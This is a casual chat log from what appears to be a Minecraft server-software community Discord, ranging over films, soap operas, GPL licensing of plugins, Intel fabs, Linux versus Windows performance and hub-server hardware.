the movie is actually not bad from what I heard

peopled liked matt

[magic river]

You don't know who Ridley Scott is?

[golden gust]

I have a bad remembery

[vernal moth]

only reason I didn't watch it is because I don't like fantasy

[magic river]

Alien, Blade Runner, The Martian, Gladiator, Black Hawk Down, etc

[golden gust]

yea, but, like

"back in my day"™

[vernal moth]

it was also released during a pandemic, of course its not doing great, lol

[magic river]

Is it a fantasy movie? I thought it was more of a dramatization

Like, the core of it is a thing that actually happened

[vernal moth]

isn't it about knights and shit?

and ye, based on a true story iirc

some french dudes

[magic river]

I suspect that's the only thing that's real in the whole story

Probably took that random one line factoid and spun a whole romantic drama around it

romantic drama period piece even

[vernal moth]

ill watch the new suicide squad movie tonight and see if its better than the first one

[magic river]

You know, when I say the words "romantic drama period piece" the reason it flopped seems kind of obvious

[vernal moth]

yesterday I watched hamilton for the first time after I really enjoyed "in the hights" the other day

that was cool

[magic river]

Even if the movie isn't a snoozefest the trailer didn't sell it that well and with that premise people will probably just wait for it to be on Netflix

Oh home media is handled by Disney so probably on Disney+

[golden gust]

Yea, I mean, covid makes it harder cos now you've actually gotta convince people there is a good reason for them to leave the safety of their house to watch it

[left swift]

@plucky sparrow

[magic river]

It was in theaters in October

[golden gust]

Not to mention, I literally never saw an advertisement for it, cos, you know, don't watch TV + adblock

[magic river]

And it was 5th on its opening weekend

[plucky sparrow]

?

[golden gust]

the movie type also doesn't make it sound like something you'd care to go watch in the cinema either

[magic river]

Right, that's what I'm saying

Even if you enjoy that kind of movie you'd probably rather be curled up on the couch watching it

[golden gust]

Yea

[magic river]

Plus the theater is expensive and the movie sounds like it could end up being really boring so do you want to risk wasting that money?

[golden gust]

yup

I mean, at least for me, the big thing is the audio experience

and, it doesn't sound like the type of movie where being in the cinema is gonna be a big push on wanting to feel like, the action

Like, when I go to the cinema I want a show in which the speakers are going for it, not some potential snore-fest

god the trailer makes me wanna sleep

[magic river]

Yep

But that's just because you were raised on your cell phone, if it's not on there you aren't interested

[golden gust]

One day, they're gonna release, that when you make good movies, people will come

one day

Like, these days they just seem to think that if you put a movie together with a few dozen big names and a "good director", etc, people will sheeple to the cinema to watch it cos it's gonna be time before it's on DVD/Streaming/anything you can watch at home

[magic river]

Owen Gleiberman of Variety considered the film "intriguing but overcooked", writing: "Despite a brief action interlude here or there, The Last Duel turns out to be a lavishly convoluted and, at times, rather interesting medieval soap opera."

Deborah Ross of The Spectator described the film as "bleak, brutal and bloody with little respite – aside from Affleck's Count Pierre, who is nicely bitchy."

[golden gust]

Issue is that the entire landscape has changed, people already have a backlog of shit they wanna watch so a movie with a trailer which was kinda snoozish is not really worth tossing the cash out to see on release, it will be on streaming platforms in a year or whatever and if it's gotten good reviews,maybe we'll watch it

[magic river]

Affleck couldn't quite save the film but it sure sounds like he tried 😄

[golden gust]

soap opera

I mean, 10 years ago, yea, I watched soaps

But, like, then I got my own space, and stopped watching that shit, and I think that most people I know did too

Like, they'd watch holby city with their parents or whatever when they where younger cos, there wasn't much all else to do otherwise, but, these days, idk anybody in my age group who watches that shit other than the baby mommies

[magic river]

Yeah I was kind of in to one in high school but only because my mom taped it and we watched it when she got off work

[golden gust]

theres only so many times you can watch the pub going up in flames or some random characters house going ablaze before you're done with it

[magic river]

On the one she is watching they've gone back to demonic possession

[golden gust]

lol

[magic river]

That was a big scare for suburban moms in the late 80s/early 90s which is also the last time that show had a thing about it

...is qanon driving the plot of soap operas? 😄

[golden gust]

for us, we have coronation street, eastenders, hollyoaks (but, that was more seemingly aimed at teens who grew up watching soaps, so, was basically a soap seemingly semi targeted towards the youngers vs the other two), emmerdale, etc

and, like, every adult I knew watched them in some capacity, as soon as people got streaming, the boomers carried on watching their soaps and we watched literally anything else

at least afaict, it's basically a dying genre

[magic river]

Our shows aimed at teens who grew up watching soaps are called the Arrowverse 😄

[void void]

this prob isent the best place to ask and it prob dosent matter but is it possible for librarys to be incompatible on a licence level. as in one dosent allow distribution and the other is gpl

[magic river]

Is it possible? Yes. Is it legal? That depends.

If library A is the GPL one and library B depends on it then library B has to be GPL (or GPL-compatible) if you ever give it to someone not an employee of your company (or give it to someone period if you don't have a company)

If A depends on B instead that's probably okay

[warm anchor]

Amaranth the bukkit lawyer

[magic river]

If your application depends on A and B your application has to be GPL (or GPL-compatible) and I think you can't distribute all three pieces together but that part is unclear to me

[worn ember]

jenkins moment

[rare python]

That seems... unhelpful

[worn ember]

i was thinking the same thing

[golden gust]

well, I mean

[worn ember]

then theres also this

[golden gust]

it's accurate

[rare tiger]

you have the option to define it twice, but you don't have to

someone is just mad that their middle school teacher forced them to check their work

[magic river]

So it looks like with Alder Lake, at least on desktop replacement gaming laptops, they've beat Ryzen in the mobile space

[void void]

yea that was my question, but couldnt you make your plugin depend on your own private library and then make your plugin gpl compatible but no one else can use it without your lib

alder lake is very epic

zen 4 will also prob be epic

[rare tiger]

i think apache license works similarly :-|

[quasi valley]

I love that their competition has been spicing up again

[void void]

mobile gpus are also getting interesting

[magic river]

If you make a library that really isn't dependent on MC or Bukkit you can use whatever license you want with it

[void void]

so i can make a plugin with rights over a required lib

[magic river]

Worst case for distribution you can have your GPL'ed plugin just download it on first run but I think you could ship them together, maybe?

[rare tiger]

tech enthusiasts really be like "kirby lake" lmao you hear these mfs

[magic river]

I can't imagine what you could possibly put in a library that wouldn't use Bukkit or MC stuff but would be useful for a plugin and worth keeping secret

[void void]

no i mean could u make an arbitrary lib to make your code unusable by others

[magic river]

I, of course, would also be allowed to take your plugin and patch out the dependency on your lib

[void void]

yea

[magic river]

Since it's GPL

[void void]

ofc

ok

[magic river]

So if you're using some closed source library as a kind of software dongle that isn't going to work

If anyone really cares about your plugin they'll just fork it

[void void]

shhh just dont tell them that part

[golden gust]

I mean, if your sole intent is to be an ass and fuck over your users

bus factor is always a fun factor

[void void]

no the point is that there is like 2 users and i dont ant them sharing it

[magic river]

That's not going to stop casual copying though, they can just give each other the lib too

It's not legal but they aren't putting it on a platform you can DMCA so what are you going to do to stop it?

[tropic flame]

bukkit is under the GPL for a reason, stop trying to avoid it kthx peace ✌️

[spare venture]

you know what would be interesting is if GPU prices went normal again

[warm anchor]

Tfw using License so two people can’t use it

[magic river]

When Intel puts out their 3070 Ti equivalent maybe that'll help

[plucky sparrow]

miracles don't randomly happen tho

[spare venture]

fax

intel is investing $20 billion to build the worlds largest silicon factory in the US, maybe that’ll help

[rare tiger]

fun new tiktok challenge! sell your old GPUs for less than msrp!

[golden gust]

those factories only take like a decade to build

[spare venture]

they said 2025

[magic river]

Just in time for Intel 18A, assuming they stay on schedule for that too

[golden gust]

ha, yea, ^

[spare venture]

and after recently being involved in the startup of a factory and seeing how they built it, it’s not impossible

also boeing has started putting up a massive factory very quickly in my town, so i’m optimistic that things can get done by large companies

[golden gust]

two entirely different scopes

[spare venture]

yeah building a factory is entirely different from building a factory

[golden gust]

putting up a tin shithouse is not exactly a long process

it's the clean rooms, all the specialised equipment, etc, etc

[spare venture]

right and i’ve been involved in that before and it can get done on schedule

[golden gust]

we could have a man on the moon by the end of next month

The mockery is based on the fact that these companies projects often take longer than they say, cost more, and run into more issues

[spare venture]

overly pessimistic

[golden gust]

we know it can be done in 3 years, as they've said, it's just will it

Yea, completely unfounded based on intels ability to deliver stuff on time

[magic river]

I sure did enjoy my 7nm chips in 2020

[spare venture]

releasing a new line of products is different from building a factory and getting it started

[magic river]

Oh wait they still don't have those 😛

Actually I think it was supposed to be 2019

[spare venture]

the people making decisions and putting in the time are different. about the only similarities are the upper management/execs and the source of money

[magic river]

Err, except they're trying to build a bleeding edge fab here

If their bleeding edge is years behind schedule...

[spare venture]

.remind

!remind

[thorny flicker]

Command remind requires 2 argument(s) (<duration:str> <content:str...>) passed 0

[worthy geode]

There are also a lot of bottlenecks. iirc for some of the machinery there is only one company in the entire world

[spare venture]

!remind 3years did intel build a factory

sick

[magic river]

Will they have the building and shit done on time? Probably. Will they have it actually producing Intel 18A chips then? I doubt it

[spare venture]

!remind 3Y did intel build a factory

[golden gust]

that bot probs ain't even gonna be here in 3 years

[rare tiger]

i always found it interesting that an international dick measuring contest with russia 50 years ago is a better cause than the future of humanity

[spare venture]

what

[magic river]

Either it won't be making anything or they'll have respecced it for an older node

[rare tiger]

wHaT?

[golden gust]

I mean, yea, as with any org, when you have a goal and a vast amount of cash, shit go brr

and, well, look at all the shit we got from the space program which made our lives much easier

much of the shit like modern insulation in homes comes from nasa's research, etc, iirc

[spare venture]

$20 billion is a mind boggling amount of money

[rare tiger]

statistics show that not only is nasa's funding criminally low, but also that they can do much more with what they are already given

[golden gust]

Now, NASA is basically just akin to any other big government program which once had a clear goal and is now a jobs program

[magic river]

TIL Brandon Routh and Jason Momoa went to high school together

I didn't know Jason Momoa was from Iowa

[golden gust]

do love bezos though, "I'll foot you some of the cash if you agree to my contract offer" 😄

[rare tiger]

someone is selling my acquaintance's SSN on snapchat

[magic river]

Born in Hawaii (which is what I thought) but raised in Norwalk, Iowa, I'll be damned

https://www.bloomberg.com/news/articles/2022-01-25/nvidia-is-said-to-quietly-prepare-to-abandon-takeover-of-arm

🎉

[void void]

thats mostly cpus and 3-5 years out

[magic river]

Nah, it's a part of their push for more fab services business and them trying to get some government funds for national security reasons

It'll make their CPUs, sure, but if it meets its goals it should be good enough to make everything else too since Intel's 18A is where they say they'll have moved ahead of TSMC again

[pastel reef]

So today I switched from Windows 11 to Ubuntu 20 and it gave me a huge performance boost, however my fans are barely ever running now. Does this just mean my cpu is doing so little work that it doesn't need to use the fans or is it just not running as fast as it could?

In both cases I am using the laptop for the latest version of Minecraft.

[magic river]

Run openssl speed -multi $(grep -ci processor /proc/cpuinfo) to max out all your cores and see if the fans kick in then

Otherwise it's hard to say for sure

Could be poor fan control, could be the CPU is just running fine and doesn't need the fan

[pastel reef]

Is it normal that my minecraft opened in like 5 seconds?

When I was still on windows it took like 20.

[magic river]

Windows IO is famously bad and the JVM is optimized/tuned for amd64 Linux systems so... probably?

[pastel reef]

:)

[left swift]

feels like one of those fake questions to flex something posts

[spare venture]

oh word?

[left swift]

on god?

hey chad you ever get that weird thing where your 3080 gets like 500fps on every game with like max settings?

I can even like barely hear the fans running over my monster energy mini fridge in my room and the cheese fondue fountain

it's really weird should I contact someone

[mossy kindle]

Would you be if the gradle of paper 1.8.8 is still available, I can't access it

[golden gust]

1. wat

2. if you mean the api, it'son the new maven repo in the same old package group it was in many years ago

glhf

[left swift]

3. you smell

[plucky sparrow]

no mana

[left swift]

I cant hear you dap over my new sports car

[worn ember]

i'm out here saving the world, what have you done

[plucky sparrow]

I think that’s just you being kind of stupid

[left swift]

ded so eco friendly

[warm anchor]

I can think of an easy way for ded to save more carbon

[worn ember]

no

[ashen cliff]

https://posili.me/i/6qXRdmEh-2022-01-25_23-22-44.png

[left swift]

go back ded

return to carbon

[hearty spear]

Usually fan control is not handled by the OS

[golden gust]

fan control is handled by the firmware for the mobo somewhere and can be controlled by the OS but is usually not

[vernal moth]

Tell that my 10 util programs that I run for RGB on my RAM

Or on the fan in my PSU

Or on my fucking CPU water block

[golden gust]

windows itself has a lot of crud running in the background and then you've got things like windows itself being slower for many things, etc, is all cascading extra workload for the hardware

https://ma.ttias.be/system-calls-in-apache-linux-vs-iis-windows/

is always a pretty thing

[vernal moth]

That blog is from 2008 and the images are clearly not a fair comparison, lol

Plus why not compare apache on Linux to apache on windows?

[golden gust]

and you think mojang has done a massive cleanup of their kernel?

[vernal moth]

Nobody sane uses IIS

[golden gust]

mojang

brain fart

[left swift]

no politics

[vernal moth]

I was hella confused

[left swift]

mojangOS

[vernal moth]

I always thought paper was the kernel for your anarchy server

[left swift]

no it's the core

papercore 1.8.8 [async]

[golden gust]

but, iirc, those are basically calls into the NT kernel which is then a scattering of system ontop of system ontop of system over decades of not cleaning up the past because API is fun

[magic river]

A lot of the engineering and design of the NT kernel is still state of the art but it made some poor decisions for Windows or one initiative or another and is locked in to them forever

There are some cases where Windows IO is competitive with Linux but not for things you're likely to care about

The last place they had any advantage was wiped out by io_uring afaik

btw I bet in 10 years almost all syscalls are replaced by io_uring

[cosmic raft]

okay

this is too good to hide away in #gifs-and-memes

https://i.redd.it/gx1oyuowp0r41.jpg

[warm anchor]

Good afternoon kashi

[twin lagoon]

who is ozark

[spare venture]

tv show

[vital thistle]

Not entirely sure if this is the right place to ask about it, but does anyone have something similar to this bar for me to copy and paste? https://foryourinformation.fyi/🍠🌀📋🥀

It's meant for a tab :P

[merry talon]

would say the same about apache in 2022 tbh

[merry talon]

That looks like underlines with &n styling?

[vital thistle]

Using the _ it has a space in between them

[merry talon]

with &n applied?

[south matrix]

try these, maybe https://www.unicode-search.net/unicode-namesearch.pl?term=LINE

[vital thistle]

I see, thank you!

[tropic flame]

where do I download latest paper kernel?!

[void void]

lmao

[golden gust]

!ban @tropic flame over there, on the other side

[worn ember]

Me next

[golden gust]

god

I'd leave out the \ with you

[plucky sparrow]

fair

[magic river]

Fuck me games are dumb now

Dead Cells had a 547 KB download but had to rewrite a 1.1 GB file to apply the update

[olive patio]

Anyone have any tips on a processor to get for a server? I currently have an Intel Xeon E5-2690 and looking to upgrade to something more modern, hopefully to something that is compatible with a motherboard that supports M.2 and has 8 slots for memory. I'm also not trying to spend an insane amount of money on this

[ashen cliff]

Yeah. TR or X299.

X299 should be better in terms of single thread performance.

[magic river]

8 slots for RAM makes this a $2000 build

And that's if you go cheap on the CPU and RAM

[neat oyster]

hmm can i run a hub server where render is 1 chunk and it looks likke void in 2b2t with only bungee server selector (on 1g ram hehe)

[magic river]

If you don't do at least 3 the client never leaves the joining server screen, iirc

Doesn't mean there has to be anything in those chunks

[ashen cliff]

I think you can do 3, but that breaks stuff already.

[neat oyster]

ye sure 3-4 chunk

but that 1g ram thing

[ashen cliff]

Should be fine.

[neat oyster]

how many players can it hold

[magic river]

1 chunk with any blocks in it, no entities, no ticking, probably like 1000 😄

[ashen cliff]

I think my 1.16 lobby, that is legit just the 2b2b lobby, with 1GB of ram, can handle like 40 players.

But, it's really stripped down.

[golden gust]

as a reminder

[magic river]

Oh, are you showing players to each other?

I thought this was just like a picture they were looking at

[neat oyster]

no

i dont want to show

[magic river]

Actually I guess 1GB RAM mean you don't get that many players on it

[neat oyster]

no its a hub server for 2 of my other servers on the same machine

24g ram machine